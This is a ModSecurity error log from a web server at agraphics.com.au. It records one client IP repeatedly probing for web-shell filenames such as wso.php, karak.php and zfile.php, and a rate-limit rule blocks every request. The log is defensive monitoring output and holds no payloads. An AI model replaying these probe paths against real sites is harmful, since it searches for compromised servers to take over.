[Sun Dec 14 04:23:07.082122 2025] [:error] [pid 39614:tid 39623] [client 20.89.218.172:13169] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c.php"] [unique_id "aT3LK_xybG8-9MflbDdvEwAAAMc"]
[Sun Dec 14 04:23:07.571610 2025] [:error] [pid 39524:tid 39562] [client 20.89.218.172:12936] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xo.php"] [unique_id "aT3LK2rVGpbDzFtDE9P28AAAAEY"]
[Sun Dec 14 04:23:07.863120 2025] [:error] [pid 39525:tid 39602] [client 20.89.218.172:13146] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xo.php"] [unique_id "aT3LK01fX_pB_BrvE_5eeQAAAJM"]
[Sun Dec 14 04:23:08.141044 2025] [:error] [pid 39524:tid 39571] [client 20.89.218.172:13039] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xo.php"] [unique_id "aT3LLGrVGpbDzFtDE9P28wAAAE8"]
[Sun Dec 14 04:23:08.421753 2025] [:error] [pid 39525:tid 39586] [client 20.89.218.172:13092] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xo.php"] [unique_id "aT3LLE1fX_pB_BrvE_5eewAAAIM"]
[Sun Dec 14 04:23:08.694464 2025] [:error] [pid 39614:tid 39617] [client 20.89.218.172:13130] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dlu.php"] [unique_id "aT3LLPxybG8-9MflbDdvGgAAAME"]
[Sun Dec 14 04:23:08.989215 2025] [:error] [pid 39614:tid 39616] [client 20.89.218.172:13309] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dlu.php"] [unique_id "aT3LLPxybG8-9MflbDdvHAAAAMA"]
[Sun Dec 14 04:23:09.277006 2025] [:error] [pid 39614:tid 39635] [client 20.89.218.172:13089] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dlu.php"] [unique_id "aT3LLfxybG8-9MflbDdvHwAAANM"]
[Sun Dec 14 04:23:09.665963 2025] [:error] [pid 39525:tid 39591] [client 20.89.218.172:13310] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dlu.php"] [unique_id "aT3LLU1fX_pB_BrvE_5efwAAAIg"]
[Sun Dec 14 04:23:09.995844 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:13206] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rk2.php"] [unique_id "aT3LLfxybG8-9MflbDdvJAAAANY"]
[Sun Dec 14 04:23:10.424349 2025] [:error] [pid 39614:tid 39618] [client 20.89.218.172:13221] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rk2.php"] [unique_id "aT3LLvxybG8-9MflbDdvJwAAAMI"]
[Sun Dec 14 04:23:10.878696 2025] [:error] [pid 39524:tid 39560] [client 20.89.218.172:13066] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rk2.php"] [unique_id "aT3LLmrVGpbDzFtDE9P29gAAAEQ"]
[Sun Dec 14 04:23:11.262721 2025] [:error] [pid 39614:tid 39639] [client 20.89.218.172:13216] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rk2.php"] [unique_id "aT3LL_xybG8-9MflbDdvLAAAANc"]
[Sun Dec 14 04:23:11.738906 2025] [:error] [pid 39524:tid 39558] [client 20.89.218.172:13065] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aT3LL2rVGpbDzFtDE9P2-AAAAEI"]
[Sun Dec 14 04:23:12.427268 2025] [:error] [pid 39524:tid 39556] [client 20.89.218.172:13001] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aT3LMGrVGpbDzFtDE9P2-wAAAEA"]
[Sun Dec 14 04:23:13.033056 2025] [:error] [pid 39524:tid 39575] [client 20.89.218.172:13095] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aT3LMWrVGpbDzFtDE9P2_wAAAFM"]
[Sun Dec 14 04:23:13.553820 2025] [:error] [pid 39524:tid 39580] [client 20.89.218.172:13133] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aT3LMWrVGpbDzFtDE9P3BQAAAFg"]
[Sun Dec 14 04:23:13.932034 2025] [:error] [pid 39524:tid 39572] [client 20.89.218.172:24769] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aT3LMWrVGpbDzFtDE9P3CgAAAFA"]
[Sun Dec 14 04:23:14.351744 2025] [:error] [pid 39524:tid 39558] [client 20.89.218.172:13111] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aT3LMmrVGpbDzFtDE9P3DwAAAEI"]
[Sun Dec 14 04:23:14.902523 2025] [:error] [pid 39524:tid 39559] [client 20.89.218.172:13075] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aT3LMmrVGpbDzFtDE9P3EgAAAEM"]
[Sun Dec 14 04:23:15.523700 2025] [:error] [pid 39525:tid 39584] [client 20.89.218.172:13054] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aT3LM01fX_pB_BrvE_5eoAAAAIE"]
[Sun Dec 14 04:23:16.776471 2025] [:error] [pid 39525:tid 39598] [client 20.89.218.172:13093] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aT3LNE1fX_pB_BrvE_5eqAAAAI8"]
[Sun Dec 14 04:23:17.077949 2025] [:error] [pid 39614:tid 39617] [client 20.89.218.172:13009] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aT3LNfxybG8-9MflbDdvQQAAAME"]
[Sun Dec 14 04:23:17.719230 2025] [:error] [pid 39614:tid 39629] [client 20.89.218.172:13207] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aT3LNfxybG8-9MflbDdvRAAAAM0"]
[Sun Dec 14 04:23:18.118833 2025] [:error] [pid 39523:tid 39548] [client 20.89.218.172:13098] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aT3LNjQTQH1raAj2lkgSlgAAABQ"]
[Sun Dec 14 04:23:18.491645 2025] [:error] [pid 39614:tid 39635] [client 20.89.218.172:13246] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aT3LNvxybG8-9MflbDdvRgAAANM"]
[Sun Dec 14 04:23:19.130230 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:12944] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aT3LN_xybG8-9MflbDdvSwAAANY"]
[Sun Dec 14 04:23:19.454241 2025] [:error] [pid 39614:tid 39632] [client 20.89.218.172:13004] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aT3LN_xybG8-9MflbDdvTQAAANA"]
[Sun Dec 14 04:23:20.684937 2025] [:error] [pid 39523:tid 39542] [client 20.89.218.172:13145] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aT3LODQTQH1raAj2lkgSmwAAAA4"]
[Sun Dec 14 04:23:21.726179 2025] [:error] [pid 39614:tid 39616] [client 20.89.218.172:13055] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/406.php"] [unique_id "aT3LOfxybG8-9MflbDdvVgAAAMA"]
[Sun Dec 14 04:23:22.445263 2025] [:error] [pid 39525:tid 39588] [client 20.89.218.172:13086] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/406.php"] [unique_id "aT3LOk1fX_pB_BrvE_5esAAAAIU"]
[Sun Dec 14 04:23:22.802435 2025] [:error] [pid 39524:tid 39576] [client 20.89.218.172:13088] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/406.php"] [unique_id "aT3LOmrVGpbDzFtDE9P3HgAAAFQ"]
[Sun Dec 14 04:23:23.399278 2025] [:error] [pid 39523:tid 39531] [client 20.89.218.172:13283] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/406.php"] [unique_id "aT3LOzQTQH1raAj2lkgSowAAAAM"]
[Sun Dec 14 04:23:23.712011 2025] [:error] [pid 39523:tid 39530] [client 20.89.218.172:13157] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mariju.php"] [unique_id "aT3LOzQTQH1raAj2lkgSpAAAAAI"]
[Sun Dec 14 04:23:24.089114 2025] [:error] [pid 39523:tid 39546] [client 20.89.218.172:24742] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mariju.php"] [unique_id "aT3LPDQTQH1raAj2lkgSpgAAABI"]
[Sun Dec 14 04:23:24.473441 2025] [:error] [pid 39523:tid 39551] [client 20.89.218.172:13047] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mariju.php"] [unique_id "aT3LPDQTQH1raAj2lkgSqAAAABc"]
[Sun Dec 14 04:23:24.949084 2025] [:error] [pid 39614:tid 39621] [client 20.89.218.172:13183] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mariju.php"] [unique_id "aT3LPPxybG8-9MflbDdvXQAAAMU"]
[Sun Dec 14 04:23:25.376175 2025] [:error] [pid 39614:tid 39632] [client 20.89.218.172:13090] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT3LPfxybG8-9MflbDdvXwAAANA"]
[Sun Dec 14 04:23:26.043641 2025] [:error] [pid 39523:tid 39536] [client 20.89.218.172:13116] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT3LPjQTQH1raAj2lkgSrQAAAAg"]
[Sun Dec 14 04:23:26.683877 2025] [:error] [pid 39523:tid 39545] [client 20.89.218.172:12987] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT3LPjQTQH1raAj2lkgSrwAAABE"]
[Sun Dec 14 04:23:27.102292 2025] [:error] [pid 39614:tid 39637] [client 20.89.218.172:13142] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT3LP_xybG8-9MflbDdvZgAAANU"]
[Sun Dec 14 04:23:27.565789 2025] [:error] [pid 39523:tid 39529] [client 20.89.218.172:13002] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aT3LPzQTQH1raAj2lkgStAAAAAE"]
[Sun Dec 14 04:23:27.948888 2025] [:error] [pid 39614:tid 39622] [client 20.89.218.172:13096] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aT3LP_xybG8-9MflbDdvaQAAAMY"]
[Sun Dec 14 04:23:28.318073 2025] [:error] [pid 39523:tid 39544] [client 20.89.218.172:13053] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aT3LQDQTQH1raAj2lkgSuwAAABA"]
[Sun Dec 14 04:23:28.710714 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:13158] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aT3LQPxybG8-9MflbDdvagAAAMg"]
[Sun Dec 14 04:23:29.080669 2025] [:error] [pid 39614:tid 39628] [client 20.89.218.172:12938] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zfile.php"] [unique_id "aT3LQfxybG8-9MflbDdvbAAAAMw"]
[Sun Dec 14 04:23:29.442426 2025] [:error] [pid 39525:tid 39596] [client 20.89.218.172:12999] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zfile.php"] [unique_id "aT3LQU1fX_pB_BrvE_5etwAAAI0"]
[Sun Dec 14 04:23:29.808087 2025] [:error] [pid 39524:tid 39572] [client 20.89.218.172:13162] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zfile.php"] [unique_id "aT3LQWrVGpbDzFtDE9P3LAAAAFA"]
[Sun Dec 14 04:23:30.269338 2025] [:error] [pid 39525:tid 39597] [client 20.89.218.172:13181] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zfile.php"] [unique_id "aT3LQk1fX_pB_BrvE_5euwAAAI4"]
[Sun Dec 14 04:23:30.758673 2025] [:error] [pid 39523:tid 39529] [client 20.89.218.172:13136] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aT3LQjQTQH1raAj2lkgSxAAAAAE"]
[Sun Dec 14 04:23:31.204560 2025] [:error] [pid 39614:tid 39619] [client 20.89.218.172:12992] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aT3LQ_xybG8-9MflbDdvcAAAAMM"]
[Sun Dec 14 04:23:31.636148 2025] [:error] [pid 39523:tid 39541] [client 20.89.218.172:12998] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aT3LQzQTQH1raAj2lkgSxwAAAA0"]
[Sun Dec 14 04:23:31.977126 2025] [:error] [pid 39523:tid 39530] [client 20.89.218.172:13069] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aT3LQzQTQH1raAj2lkgSywAAAAI"]
[Sun Dec 14 04:23:32.326616 2025] [:error] [pid 39525:tid 39588] [client 20.89.218.172:13124] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "aT3LRE1fX_pB_BrvE_5ewgAAAIU"]
[Sun Dec 14 04:23:32.761702 2025] [:error] [pid 39525:tid 39591] [client 20.89.218.172:13150] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "aT3LRE1fX_pB_BrvE_5exgAAAIg"]
[Sun Dec 14 04:23:33.147277 2025] [:error] [pid 39525:tid 39606] [client 20.89.218.172:12865] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "aT3LRU1fX_pB_BrvE_5eyAAAAJc"]
[Sun Dec 14 04:23:33.483232 2025] [:error] [pid 39523:tid 39528] [client 20.89.218.172:13170] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "aT3LRTQTQH1raAj2lkgSzgAAAAA"]
